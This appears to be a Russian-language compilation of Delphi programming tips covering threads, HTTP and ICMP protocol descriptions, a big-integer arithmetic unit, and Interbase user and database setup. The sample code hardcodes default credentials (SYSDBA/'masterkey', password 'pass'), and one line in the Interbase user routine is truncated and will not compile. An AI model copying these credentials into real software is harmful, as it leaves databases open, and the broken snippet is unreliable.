ПРИМЕЧАНИЕ: Чтобы завершить некоторый процесс (Thread), нужно вызвать метод Terminate класса этого процесса. Приостановить процесс можно оператором Suspend, а продолжить выполнение - Resume. Также можно настроить приоритет каждого отдельного процесса через свойство Priority.
Неплохой пример работы с процессами можно найти в подпапке Demos\Threads папки, куда Вы установили Delphi.
Замечания по алгоритмам типовых задач
Если Вы собираетесь создать скачивалку сайтов, то Вам необходимо учитывать следующее (решить следующие проблемы):
Нужно скачивать не только саму страничку в формате HTML, но и все входящие в нее рисунки (gif, jpg, и т.д.); в некоторых случаях удобно скачивать не одну страничку, а несколько страниц, ссылки на которые находятся на первой из скачиваемых страничек. При этом нужно учитывать, что на страничке могут находиться и ссылки на другие сайты, поэтому необходимо анализировать скачиваемые ссылки (чтобы случайно не скачать весь Интернет). Для решения задачи со скачиванием нескольких страничек нужно использовать рекурсию; необходимо качественно информировать пользователя о ходе закачки. Т.е. показывать общее и скачанное количество информации; после скачивания нужно заменить Интернетовские ссылки на локальные, чтобы можно было просматривать странички в режиме offline.HyperText Transfer Protocol - протокол обмена WWW-серверов.
| Интернетчик пишет объявление в конференцию: - Девушки, выходите за меня замуж! Стране, нужны хакеры. Возникает флейм: - Девушки, не верьте ему, он вас сломает, хакнет и выложит на ББС с паролем общего доступа, а потом и вообще бросит. Все это ничего, он вас еще и вирусом заразит... |
Назначение
HyperText Transfer Protocol (HTTP) - это протокол прикладного уровня, применяемый в распределенных информационных системах гипермедиа. HTTP используется проектом World Wide Web с 1990 года.
HTTP/1.0 предоставляет открытое множество методов, которые могут быть использованы для указания целей запроса. Они построены на дисциплине ссылок, где для указания ресурса, к которому должен быть применен данный метод, используется Универсальный Идентификатор Ресурсов (Universal Resource Identifier - URI), в виде местонахождения (URL) или имени (URN). Формат сообщений сходен с форматом Internet Mail или Multipurpose Internet Mail Extensions (MIME-Многоцелевое Расширение Почты Internet).
HTTP/1.0 используется также для коммуникаций между различными пользовательскими просмотрщиками и шлюзами, дающими гипермедиа доступ к существующим Internet протоколам, таким как SMTP, NNTP, FTP, Gopher и WAIS. HTTP/1.0 разработан, чтобы позволять таким шлюзам через proxy серверы, без какой-либо потери передавать данные с помощью упомянутых протоколов более ранних версий.
Общая Структура
HTTP основывается на парадигме запросов/ответов. Запрашивающая программа (обычно она называется клиент) устанавливает связь с обслуживающей программой-получателем (обычно называется сервер) и посылает запрос серверу в следующей форме: метод запроса, URI, версия протокола, за которой следует MIME-подобное сообщение, содержащее управляющую информацию запроса, информацию о клиенте и, может быть, тело сообщения. Сервер отвечает сообщением, содержащим строку статуса (включая версию протокола и код статуса - успех или ошибка), за которой следует MIME-подобное сообщение, включающее в себя информацию о сервере, метаинформацию о содержании ответа, и, вероятно, само тело ответа. Следует отметить, что одна программа может быть одновременно и клиентом и сервером. Использование этих терминов в данном тексте относится только к роли, выполняемой программой в течение данного конкретного сеанса связи, а не к общим функциям программы.
В Internet коммуникации обычно основываются на TCP/IP протоколах. Для WWW номер порта по умолчанию - TCP 80, но также могут быть использованы и другие номера портов - это не исключает возможности использовать HTTP в качестве протокола верхнего уровня.
Для большинства приложений сеанс связи открывается клиентом для каждого запроса и закрывается сервером после окончания ответа на запрос. Тем не менее, это не является особенностью протокола. И клиент, и сервер должны иметь возможность закрывать сеанс связи, например, в результате какого-нибудь действия пользователя. В любом случае, разрыв связи, инициированный любой стороной, прерывает текущий запрос, независимо от его статуса.
Огромные LCK-файлы.
Автор: Scott Frolich Если .EXE-файл расположен в том же каталоге, что и таблица Paradox, и флажок Local Share установлен в TRUE, .LCK-файл с каждым запросом растет как на дрожжах. Другая условие - вы имеете соединение посредством DbiOpenTable или TTable.Open. РЕШЕНИЕ: Установите частный (private) каталог в какое-нибудь другое место Переместите .EXE-файл в каталог, отличный от каталога с файлами таблиц Установите Local Share в FALSEОгромные числа.
Автор: Lloyd Данный модуль использует массив байт для предоставления БОЛЬШИХ чисел. Бинарно-хранимые числа заключены в массив, где первый элемент является Наименьшим Значимым Байтом (Least Significant Byte - LSB), последний - Наибольшим Значимым Байтом (Most Significant Byte - MSB), подобно всем Intel-целочисленным типам. Арифметика здесь использует не 10- или 2-тиричную, а 256-тиричную систему исчисления, чтобы каждый байт представлял одну (1) цифру. Числа HugeInttype - Подписанные Числа (Signed Numbers). При компиляции с директивой R+, ADD и MUL могут в определенных обстоятельствах генерировать "Arithmetic Overflow Error" (RunError(215)) - ошибка арифметического переполнения. В таком случае пользуйтесь переменной "HugeIntCarry". Переменная "HugeIntDiv0" используется для проверки деления на ноль.Используйте {$DEFINE HugeInt_xx } или поле "Conditional defines" (символ условного компилирования) в "Compiler options" (опции компилятора) для задания размерности, где xx должно быть равно 64, 32 или 16, в противном случае HugeIntSize будет равен 8 байтам.
unit HugeInts;
interface
const
{$IFDEF HugeInt_64 }
HugeIntSize = 64;
{$ELSE}{$IFDEF HugeInt_32 }
HugeIntSize = 32;
{$ELSE}{$IFDEF HugeInt_16 }
HugeIntSize = 16;
{$ELSE}
HugeIntSize = 8;
{$ENDIF}{$ENDIF}{$ENDIF}
HugeIntMSB = HugeIntSize - 1;
type
HugeInt = array[0..HugeIntMSB] of Byte;
const
HugeIntCarry: Boolean = False;
HugeIntDiv0: Boolean = False;
procedure HugeInt_Min(var a: HugeInt); { a := -a }
procedure HugeInt_Inc(var a: HugeInt); { a := a + 1 }
procedure HugeInt_Dec(var a: HugeInt); { a := a - 1 }
procedure HugeInt_Add(a, b: HugeInt; var R: HugeInt); { R := a + b }
procedure HugeInt_Sub(a, b: HugeInt; var R: HugeInt); { R := a - b }
procedure HugeInt_Mul(a, b: HugeInt; var R: HugeInt); { R := a * b }
procedure HugeInt_Div(a, b: HugeInt; var R: HugeInt); { R := a div b }
procedure HugeInt_Mod(a, b: HugeInt; var R: HugeInt); { R := a mod b }
function HugeInt_IsNeg(a: HugeInt): Boolean;
function HugeInt_Zero(a: HugeInt): Boolean;
function HugeInt_Odd(a: HugeInt): Boolean;
function HugeInt_Comp(a, b: HugeInt): Integer; {-1:a< 0; 1:a>}
procedure HugeInt_Copy(Src: HugeInt; var Dest: HugeInt); { Dest := Src }
procedure String2HugeInt(AString: string; var a: HugeInt);
procedure Integer2HugeInt(AInteger: Integer; var a: HugeInt);
procedure HugeInt2String(a: HugeInt; var S: string);
implementation
procedure HugeInt_Copy(Src: HugeInt; var Dest: HugeInt);
{ Dest := Src }
begin
Move(Src, Dest, SizeOf(HugeInt));
end; { HugeInt_Copy }
function HugeInt_IsNeg(a: HugeInt): Boolean;
begin
HugeInt_IsNeg := a[HugeIntMSB] and $80 > 0;
end; { HugeInt_IsNeg }
function HugeInt_Zero(a: HugeInt): Boolean;
var
i: Integer;
begin
HugeInt_Zero := False;
for i := 0 to HugeIntMSB do
if a[i] <> 0 then
Exit;
HugeInt_Zero := True;
end; { HugeInt_Zero }
function HugeInt_Odd(a: HugeInt): Boolean;
begin
HugeInt_Odd := a[0] and 1 > 0;
end; { HugeInt_Odd }
function HugeInt_HCD(a: HugeInt): Integer;
var
i: Integer;
begin
i := HugeIntMSB;
while (i > 0) and (a[i] = 0) do
Dec(i);
HugeInt_HCD := i;
end; { HugeInt_HCD }
procedure HugeInt_SHL(var a: HugeInt; Digits: Integer);
{ Перемещение байтов переменной "Digits" в левую часть,
байты "Digits" будут 'ослабевать' в MSB-части.
LSB-часть заполняется нулями. }
var
t: Integer;
b: HugeInt;
begin
if Digits > HugeIntMSB then
FillChar(a, SizeOf(HugeInt), 0)
else if Digits > 0 then
begin
Move(a[0], a[Digits], HugeIntSize - Digits);
FillChar(a[0], Digits, 0);
end; { else if }
end; { HugeInt_SHL }
procedure HugeInt_SHR(var a: HugeInt; Digits: Integer);
var
t: Integer;
begin
if Digits > HugeIntMSB then
FillChar(a, SizeOf(HugeInt), 0)
else if Digits > 0 then
begin
Move(a[Digits], a[0], HugeIntSize - Digits);
FillChar(a[HugeIntSize - Digits], Digits, 0);
end; { else if }
end; { HugeInt_SHR }
procedure HugeInt_Inc(var a: HugeInt);
{ a := a + 1 }
var
i: Integer;
h: Word;
begin
i := 0;
h := 1;
repeat
h := h + a[i];
a[i] := Lo(h);
h := Hi(h);
Inc(i);
until (i > HugeIntMSB) or (h = 0);
HugeIntCarry := h > 0;
{$IFOPT R+ }
if HugeIntCarry then
RunError(215);
{$ENDIF}
end; { HugeInt_Inc }
procedure HugeInt_Dec(var a: HugeInt);
{ a := a - 1 }
var
Minus_1: HugeInt;
begin
{ самый простой способ }
FillChar(Minus_1, SizeOf(HugeInt), $FF); { -1 }
HugeInt_Add(a, Minus_1, a);
end; { HugeInt_Dec }
procedure HugeInt_Min(var a: HugeInt);
{ a := -a }
var
i: Integer;
begin
for i := 0 to HugeIntMSB do
a[i] := not a[i];
HugeInt_Inc(a);
end; { HugeInt_Min }
function HugeInt_Comp(a, b: HugeInt): Integer;
{ a = b: ==0; a > b: ==1; a < b: ==-1 }
var
A_IsNeg, B_IsNeg: Boolean;
i: Integer;
begin
A_IsNeg := HugeInt_IsNeg(a);
B_IsNeg := HugeInt_IsNeg(b);
if A_IsNeg xor B_IsNeg then
if A_IsNeg then
HugeInt_Comp := -1
else
HugeInt_Comp := 1
else
begin
if A_IsNeg then
HugeInt_Min(a);
if B_IsNeg then
HugeInt_Min(b);
i := HugeIntMSB;
while (i > 0) and (a[i] = b[i]) do
Dec(i);
if A_IsNeg then { оба отрицательные! }
if a[i] > b[i] then
HugeInt_Comp := -1
else if a[i] < b[i] then
HugeInt_Comp := 1
else
HugeInt_Comp := 0
else { оба положительные } if a[i] > b[i] then
HugeInt_Comp := 1
else if a[i] < b[i] then
HugeInt_Comp := -1
else
HugeInt_Comp := 0;
end; { else }
end; { HugeInt_Comp }
procedure HugeInt_Add(a, b: HugeInt; var R: HugeInt);
{ R := a + b }
var
i: Integer;
h: Word;
begin
h := 0;
for i := 0 to HugeIntMSB do
begin
h := h + a[i] + b[i];
R[i] := Lo(h);
h := Hi(h);
end; { for }
HugeIntCarry := h > 0;
{$IFOPT R+ }
if HugeIntCarry then
RunError(215);
{$ENDIF}
end; { HugeInt_Add }
procedure HugeInt_Sub(a, b: HugeInt; var R: HugeInt);
{ R := a - b }
var
i: Integer;
h: Word;
begin
HugeInt_Min(b);
HugeInt_Add(a, b, R);
end; { HugeInt_Sub }
procedure HugeInt_Mul(a, b: HugeInt; var R: HugeInt);
{ R := a * b }
var
i, j, k: Integer;
A_end, B_end: Integer;
A_IsNeg, B_IsNeg: Boolean;
h: Word;
begin
A_IsNeg := HugeInt_IsNeg(a);
B_IsNeg := HugeInt_IsNeg(b);
if A_IsNeg then
HugeInt_Min(a);
if B_IsNeg then
HugeInt_Min(b);
A_End := HugeInt_HCD(a);
B_End := HugeInt_HCD(b);
FillChar(R, SizeOf(R), 0);
HugeIntCarry := False;
for i := 0 to A_end do
begin
h := 0;
for j := 0 to B_end do
if (i + j) < HugeIntSize then
begin
h := h + R[i + j] + a[i] * b[j];
R[i + j] := Lo(h);
h := Hi(h);
end; { if }
k := i + B_End + 1;
while (k < HugeIntSize) and (h > 0) do
begin
h := h + R[k];
R[k] := Lo(h);
h := Hi(h);
Inc(k);
end; { while }
HugeIntCarry := h > 0;
{$IFOPT R+}
if HugeIntCarry then
RunError(215);
{$ENDIF}
end; { for }
{ если все хорошо... }
if A_IsNeg xor B_IsNeg then
HugeInt_Min(R);
end; { HugeInt_Mul }
procedure HugeInt_DivMod(var a: HugeInt; b: HugeInt; var R: HugeInt);
{ R := a div b a := a mod b }
var
MaxShifts, s, q: Integer;
d, e: HugeInt;
A_IsNeg, B_IsNeg: Boolean;
begin
if HugeInt_Zero(b) then
begin
HugeIntDiv0 := True;
Exit;
end { if }
else
HugeIntDiv0 := False;
A_IsNeg := HugeInt_IsNeg(a);
B_IsNeg := HugeInt_IsNeg(b);
if A_IsNeg then
HugeInt_Min(a);
if B_IsNeg then
HugeInt_Min(b);
if HugeInt_Comp(a, b) < 0 then
{ a<b; нет необходимости деления }
FillChar(R, SizeOf(R), 0)
else
begin
FillChar(R, SizeOf(R), 0);
repeat
Move(b, d, SizeOf(HugeInt));
{ сначала вычисляем количество перемещений (сдвигов) }
MaxShifts := HugeInt_HCD(a) - HugeInt_HCD(b);
s := 0;
while (s <= MaxShifts) and (HugeInt_Comp(a, d) >= 0) do
begin
Inc(s);
HugeInt_SHL(d, 1);
end; { while }
Dec(s);
{ Создаем новую копию b }
Move(b, d, SizeOf(HugeInt));
{ Перемещаем (сдвигаем) d }
HugeInt_ShL(d, S);
{ Для добавление используем e = -d, это быстрее чем вычитание d }
Move(d, e, SizeOf(HugeInt));
HugeInt_Min(e);
Q := 0;
{ пока a >= d вычисляем a := a+-d и приращиваем Q}
while HugeInt_Comp(a, d) >= 0 do
begin
HugeInt_Add(a, e, a);
Inc(Q);
end; { while }
{ Упс!, слишком много вычитаний; коррекция }
if HugeInt_IsNeg(a) then
begin
HugeInt_Add(a, d, a);
Dec(Q);
end; { if }
HugeInt_SHL(R, 1);
R[0] := Q;
until HugeInt_Comp(a, b) < 0;
if A_IsNeg xor B_IsNeg then
HugeInt_Min(R);
end; { else }
end; { HugeInt_Div }
procedure HugeInt_DivMod100(var a: HugeInt; var R: Integer);
{ 256-тиричное деление - работает только с
положительными числами: R := a mod 100; a:= a div 100; }
var
Q: HugeInt;
S: Integer;
begin
R := 0;
FillChar(Q, SizeOf(Q), 0);
S := HugeInt_HCD(a);
repeat
r := 256 * R + a[S];
HugeInt_SHL(Q, 1);
Q[0] := R div 100;
R := R mod 100;
Dec(S);
until S < 0;
Move(Q, a, SizeOf(Q));
end; { HugeInt_DivMod100 }
procedure HugeInt_Div(a, b: HugeInt; var R: HugeInt);
begin
HugeInt_DivMod(a, b, R);
end; { HugeInt_Div }
procedure HugeInt_Mod(a, b: HugeInt; var R: HugeInt);
begin
HugeInt_DivMod(a, b, R);
Move(a, R, SizeOf(HugeInt));
end; { HugeInt_Mod }
procedure HugeInt2String(a: HugeInt; var S: string);
function Str100(i: Integer): string;
begin
Str100 := Chr(i div 10 + Ord('0')) + Chr(i mod 10 + Ord('0'));
end; { Str100 }
var
R: Integer;
Is_Neg: Boolean;
begin
S := '';
Is_Neg := HugeInt_IsNeg(a);
if Is_Neg then
HugeInt_Min(a);
repeat
HugeInt_DivMod100(a, R);
Insert(Str100(R), S, 1);
until HugeInt_Zero(a) or (Length(S) = 254);
while (Length(S) > 1) and (S[1] = '0') do
Delete(S, 1, 1);
if Is_Neg then
Insert('-', S, 1);
end; { HugeInt2String }
procedure String_DivMod256(var S: string; var R: Integer);
{ 10(00)-тиричное деление - работает только с
положительными числами: R := S mod 256; S := S div 256 }
var
Q: string;
begin
FillChar(Q, SizeOf(Q), 0);
R := 0;
while S <> '' do
begin
R := 10 * R + Ord(S[1]) - Ord('0');
Delete(S, 1, 1);
Q := Q + Chr(R div 256 + Ord('0'));
R := R mod 256;
end; { while }
while (Q <> '') and (Q[1] = '0') do
Delete(Q, 1, 1);
S := Q;
end; { String_DivMod256 }
procedure String2HugeInt(AString: string; var a: HugeInt);
var
i, h: Integer;
Is_Neg: Boolean;
begin
if AString = '' then
AString := '0';
Is_Neg := AString[1] = '-';
if Is_Neg then
Delete(Astring, 1, 1);
i := 0;
while (AString <> '') and (i <= HugeIntMSB) do
begin
String_DivMod256(AString, h);
a[i] := h;
Inc(i);
end; { while }
if Is_Neg then
HugeInt_Min(a);
end; { String2HugeInt }
procedure Integer2HugeInt(AInteger: Integer; var a: HugeInt);
var
Is_Neg: Boolean;
begin
Is_Neg := AInteger < 0;
if Is_Neg then
AInteger := -AInteger;
FillChar(a, SizeOf(HugeInt), 0);
Move(AInteger, a, SizeOf(Integer));
if Is_Neg then
HugeInt_Min(a);
end; { Integer2HugeInt }
end.
|
Определить ширину и высоту символа.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
AComponentWithACanvas.Canvas.TextWidth('A');
AComponentWithACanvas.Canvas.TextHeight('X');
Установка Interbase и добавление пользователя.
| Автор: Denis Alexandrovich Ivanov |
| - Чем схожи занимающийся сексом и юзер? - И тот и другой входят и выходят. - А кто при этом получает удовольствие? - Скорее всего первый и Билл Гейтс. |
1. При помощи InstallShieldExpress формируется проект, который включает в себя установку Interbase Server. 2. После установки Interbase запускаешь программу, написанную на Delphi 6, которая добавляет нового пользователя Interbase.
(************************************************************************
Проект : ....
Автор : Иванов Д.А.
Назначение : Выжимки из библиотеки функций для работы со справочником
пользователей
Note: You must install InterBase 6 to use this feature.
Дата создания: 11.13.2002
История :
************************************************************************)
unit usr;
interface
uses IBCustomDataSet,IBDataBase,IBServices;
type
TUsrInfo = record
Usr:string ; //login
Uid:integer; //уникальный идентификатор, если программа ведет
//справочник пользователей в своей БД - его можно
//брать оттуда по секвенции
Grp:integer; //Group
Pas:string ; //password
end;
TUsrClass = class(TObject)
private
{ Private declarations }
public
UsrData:TUsrInfo;
dbSec :TIBSecurityService;
// добавляет или редактирует пользователя в Interbase
function UpdateUser: string;
end;
TUsrLib = class(TUsrClass)
private
{ Private declarations }
public
procedure AddNewUserToInterbase;
end;
var
clUsr:TUsrLib;
implementation
uses SysUtils,Controls,db,windows,QDialogs;
(***************** Добавляет или редактирует пользователя ***************)
function TUsrClass.UpdateUser: string;
//Usrid = 0 - новый пользователь
var Edes:string; //Описание ошибок
begin
try
if UsrData.Usr = '' then Edes:= 'не указан login пользователя';
if UsrData.Uid = 0 then Edes:= 'не указан id пользователя';
if UsrData.Grp = 0 then Edes:= 'не
if UsrData.Pas = '' then Edes:= 'не указан пароль пользователя';
if EDes < > '' then raise Exception.Create(Edes);
//Добавляем пользователя в interbase
with dbSec do begin
if not Active then Active := True;
UserName := UsrData.Usr;
UserID := UsrData.Uid;
GroupID := UsrData.Grp;
Password := UsrData.Pas;
try
DisplayUser(UserName);
if UserInfo[0] = nil then AddUser else ModifyUser;
except
Edes:='Ошибка добавления пользователя в interbase security';
raise Exception.Create(Edes);
end;
//раздача если нужно права доступа пользователя на таблицы
(* EDes:= GrantData(UsrData.Usr);
if EDes < > '' then raise Exception.Create(Edes);
*)
end;
except
if EDes = '' then EDes:= 'Ошибка добавления пользователя в interbase security';
end;
Result:= EDes;
end;
procedure TUsrLib.AddNewUserToInterbase;
var Edes:string; //Описание ошибок
begin
UsrData.Usr := 'ida' ;
UsrData.Uid := 123 ;
UsrData.Grp := 1 ;
UsrData.Pas := 'pass';
EDes:= UpdateUser;
if EDes < > '' then raise Exception.Create(Edes);
end;
begin
clUsr:=TUsrLib.Create;
end.
|
Для обоих использовал готовые скрипты с сайта http://ibinstall.defined.net/. По результатам могу сказать, что Wise удобнее и проще в инсталляции. Кроме того у него есть текстовый редактор скрипта, что нашему брату шибко нравится. Установка и запуск IBGuard проходит как и в фирменном варианте сразу (Silent Install).
Как заставить Interbase принять COLLATE PXW_CYRL по умолчанию.
Автор: Nomadic (Это очень полезно при прямой работе с IB из различного CASE-инструментария, типа PowerDesigner или ErWIN) Чтобы не писать каждый раз COLLATE, я сделал следующее: Создал сохранённую процедуруcreate procedure fix_character_sets as begin update rdb$character_sets set rdb$default_collate_name = 'PXW_CYRL' where rdb$character_set_name = 'WIN1251' and rdb$default_collate_name = 'WIN1251' ; endЗапустил ее один раз. Создаю таблицы без указания COLLATE. После восстановления из архива, запускаю еще раз.
Программное создание и удаление базы данных Interbase, а так же выполнение SQL-скриптов.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
This unit creates a database on a Interbase-Server at run-time.
The IBConsole is no longer needed.
You can execute an SQL script to create tables.
Try it out!
}
{
Diese Unit erstellt eine Datenbank auf einem Interbase - Server zur Laufzeit des Programms.
Es wird nicht mehr die IBConsole gebraucht.
Dazu kann man im Memo noch ein SQL - Skript ablaufen lassen zum erstellen der Tabellen.
Probiert es einfach aus.
}
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ZTransact, ZIbSqlTr, DB, ZQuery, ZIbSqlQuery,
ZConnect, ZIbSqlCon;
type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
Button2: TButton;
ZIbSqlQuery1: TZIbSqlQuery;
ZIbSqlTransact1: TZIbSqlTransact;
ZIbSqlDatabase1: TZIbSqlDatabase;
Button3: TButton;
procedure Button1Click(Sender: TObject); // Caption/ Beschriftung : Create Database
procedure Button2Click(Sender: TObject); // Caption/ Beschriftung : SQL-Anweisung
procedure Button3Click(Sender: TObject); // Caption/ Beschriftung : Drop Database
private
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Creating the database
// Hier wird durch drucken des Buttons die Datenbank erstellt
//---------------------------------------------------------------------
procedure TForm1.Button1Click(Sender: TObject);
begin
ZIbSqlDatabase1.Database := '<<Pfad zu Datenbank>>';// Path to Database
ZIbSqlDatabase1.Host := 'testserver';
ZIbSqlDatabase1.Password := 'masterkey';
ZIbSqlDatabase1.Login := 'SYSDBA';
ZIbSqlDatabase1.CreateDatabase('');
end;
// Execute the SQL-Script in the memo
// Hier wird durch drucken des Buttons das SQL-Skript im Memo ausgefuhrt
//----------------------------------------------------------------------
procedure TForm1.Button2Click(Sender: TObject);
begin
ZIbSqlDatabase1.Database := '<<Pfad zu Datenbank>>'; // Path to Database
ZIbSqlDatabase1.Host := 'testserver';
ZIbSqlDatabase1.Password := 'masterkey';
ZIbSqlDatabase1.Login := 'SYSDBA';
ZIbSqlQuery1.SQL.Clear;
ZIbSqlQuery1.SQL.AddStrings(memo1.Lines);
ZIbSqlQuery1.ExecSQL;
end;
// Deleted the database
// Hier wird durch drucken des Buttons die Datenbank komplette geloscht
//---------------------------------------------------------------------
procedure TForm1.Button3Click(Sender: TObject);
begin
ZIbSqlDatabase1.Database := '<<Pfad zu Datenbank>>'; // Path to Database
ZIbSqlDatabase1.Host := 'testserver';
ZIbSqlDatabase1.Password := 'masterkey';
ZIbSqlDatabase1.Login := 'SYSDBA';
ZIbSqlDatabase1.DropDatabase;
end;
end.
Описание протокола ICMP (Internet Control Message Protocol).
| - Мыкола, ты слыхал, як москали ICMP-пакеты называють? - Як? - Пинги!.. |
Версия 4 IHL Длина Internet заголовка; единица измерения - 32-битное слово. Тип сервиса 0 Общая длина Длина Internet заголовка и поля данных в октетах. Идентификация, флаги, смещение фрагмента Используются в случае фрагментации Время жизни Время жизни в секундах. Поскольку значение этого поля уменьшается на единицу в каждой машине, на которой обрабатывается данная датаграмма, то значение этого поля должно, по крайней мере, превышать количество шлюзов, через которые будет проходить данная датаграмма. Протокол ICMP=1 Контрольная сумма заголовка 16-битное дополнение до единицы суммы дополнений до единицы всех 16-битных слов в заголовке. При вычислении данной суммы следует первоначально устанавливать значение этого поля в нуль. В дальнейшем этот алгоритм вычисления контрольной суммы должен быть изменен. Адрес отправления Адрес шлюза или хост-компьютера, который составил данное ICMP сообщение. Если не оговорено обратное, в этом поле может находиться любой из адресов шлюза. Адрес получателя Адрес шлюза или хост-компьютера, которому следует послать данное сообщение. Сообщение о недостижимости порта 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма не используется Internet заголовок + 64 бита данных из исходной датаграммы Поля Internet протокола: Адрес получателя Локальная сеть и адрес компьютера, отправившего исходную датаграмму Поля ICMP протокола Тип 3 КодО невозможно передать датаграмму на локальную сеть, где находится адресат 1 невозможно передать датаграмму на хост-компьютер, являющийся адресатом 2 нельзя воспользоваться указанным протоколом 3 нельзя передать данные на указанный порт 4 для передачи датаграммы по сети требуется фрагментация, однако выставлен флаг DF. 5 сбой в маршрутизации при отправлении Контрольная сумма Контрольная сумма является 16-битным дополнением до единицы суммы дополнений октетов в полях ICMP сообщения, начиная с поля типа ICMP. Для вычисления контрольной суммы первоначально значение этого поля обнуляется. В будущем процедура вычисления контрольной суммы может быть изменена. Internet заголовок + 64 бита данных из исходной датаграммы Данное поле содержит Internet заголовок и первые 64 бита данных из исходной датаграммы для выработки сообщения для соответствующего процесса. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера находятся в первых 64 битах поля данных. Описание Если, согласно информации в таблицах маршрутизации шлюза, локальная сеть, указанная в Internet заголовке датаграммы в поле адресата, является недостижимой, например, из-за ее чрезмерной удаленности, то шлюз может послать хост-компьютеру, отправившему датаграмму по Internet сети, сообщение о недостижимости адресата. Кроме этого, в некоторых сетях шлюз может иметь возможность определять доступность отдельного хост-компьютера. Шлюз в такой сети может послать данное сообщение, если хост-компьютер, являющийся адресатом, недоступен. Иная ситуация возникает, когда для достижения адресата датаграмма должна быть разбита шлюзом на отдельные фрагменты, но установлен флаг запрета фрагментации. О этом случае шлюз обязан ликвидировать датаграмму и может при этом послать сообщение о недостижимости адресата. Шлюз может послать сообщения с кодами 0, 1, 4 и 5. Хост-компьютер может послать сообщения с кодами 2 и 3. Сообщение о превышении контрольного времени 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма не используется Internet заголовок + 64 бита данных из исходной датаграммы Поля IP заголовка Заимствованы сеть и адрес отправителя из исходной датаграммы с данными. Поля ICMP сообщения Тип 11 КодО при передаче превышено время жизни 1 превышено контрольное время при сборке фрагментов датаграммы Контрольная сумма Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP. При вычислении суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм контрольной суммы может быть изменен. Internet заголовок + 64 бита данных из исходной датаграммы Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти биты данных используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных в исходной датаграмме. Описание Если фрагмент нулевого размера превысил контрольное время, то сообщение в этом не посылается вовсе. Шлюз может послать сообщение с кодом 0, а хост - с кодом 1. Сообщение о проблемах с параметром 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма указатель не используется Internet заголовок + 64 бита данных из исходной датаграммы Поля IP заголовка Заимствованы сеть и адрес отправителя из исходной датаграммы с данными. Поля ICMP сообщения Тип 12 Код 0 - указатель показывает ошибку Контрольная сумма Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP. При вычислении суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен. Указатель Если код = 0, то он указывает на октет, где была обнаружена ошибка. Internet заголовок + 64 бита данных из исходной датаграммы Эти биты данных используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных в исходной датаграмме. Описание Если шлюз или хост-компьютер, обрабатывающий датаграмму, обнаруживает проблему с обработкой параметров заголовка, и это не позволяет завершить ее обработку, то он должен ликвидировать рассматриваемую датаграмму. Одной из потенциальных причин такой неприятности могут бить неправильные аргументы в опции. Шлюз или хост-компьютер в сообщении о проблеме с параметрами может также упомянуть хост-компьютер, породивший датаграмму с ошибкой. Сообщения такого типа посылаются лишь в том случае, если ошибка приводит к ликвидации этой датаграммы. Указатель определяет октет в заголовке исходной датаграммы, где была обнаружена ошибка (этот ошибочный октет может находиться даже посередине опции). Например, 1 указывает на то, что имеется какая-то ошибка в поле типа сервиса, а (если имеются опции) 20 определяет, что имеется ошибка в коде типа для первой опции. Код 0 сообщения может приходить как от шлюза, так и от хост-компьютера. Сообщение для приостановки отправителя 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма не используется Internet заголовок + 64 бита данных из исходной датаграммы Поля IP заголовка Заимствованы сеть и адрес отправителя из исходной датаграммы с данными. Поля ICMP сообщения Тип 4 Код 0 Контрольная сумма Контрольная сумма является 16-битным дополнением до единицы суммы дополнений в ICMP сообщении, начиная с поля типа ICMP. При вычислении контрольной суммы следует сперва обнулить поле контрольной суммы. В будущем алгоритм вычисления контрольной суммы может быть изменен. Internet заголовок + 64 бита данных из исходной датаграммы Internet заголовок плюс первые 64 бита данных из исходной датаграммы. Эти данные используются хост-компьютером для привязки сообщения к соответствующему процессу. Если протокол более высокого уровня использует номера портов, то предполагается, что эти номера входят в первые 64 бита данных исходной датаграммы. Описание Шлюз может ликвидировать Internet датаграммы, если у него нет места в буфере для постановки этих датаграмм в очередь на от правление в очередную сеть по маршруту следования к адресату. Если шлюз ликвидирует датаграмму, то он должен послать сообщение для приостановки хост-компьютеру в Internet системе, отправившему данную датаграмму. Сообщение о приостановке может послать также сам адресат, если датаграммы приходят слишком быстро, чтобы успеть их обработать. Сообщение о приостановке является за просом для хост-компьютера уменьшить скорость посылки данных на этот конкретный адрес. Шлюз может посылать сообщение для при остановки отправителя в каждом случае ликвидации. При получении такого сообщения хост-компьютер, отправивший данные, должен уменьшить скорость посылки данных по этому адресу до тех пор, пока не перестанут приходить запросы на приостановку с данного шлюза. После этого хост-компьютер, отправляющий данные, может постепенно увеличивать скорость посылки данных по этому адресу, пока вновь не станут приходить сообщения о приостановке. Шлюз или хост-компьютер может посылать сообщение о приостановке еще до достижения предельной пропускной способности, и не ждать, пока этот предел будет пройден. Это означает, что датаграмма с данными, вызвавшая появление сообщения о приостановке, все же может достичь своего адресата. И шлюз и хост-компьютер могут отправить сообщение с кодом 0. Сообщение о переадресации 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Тип Код Контрольная сумма Internet 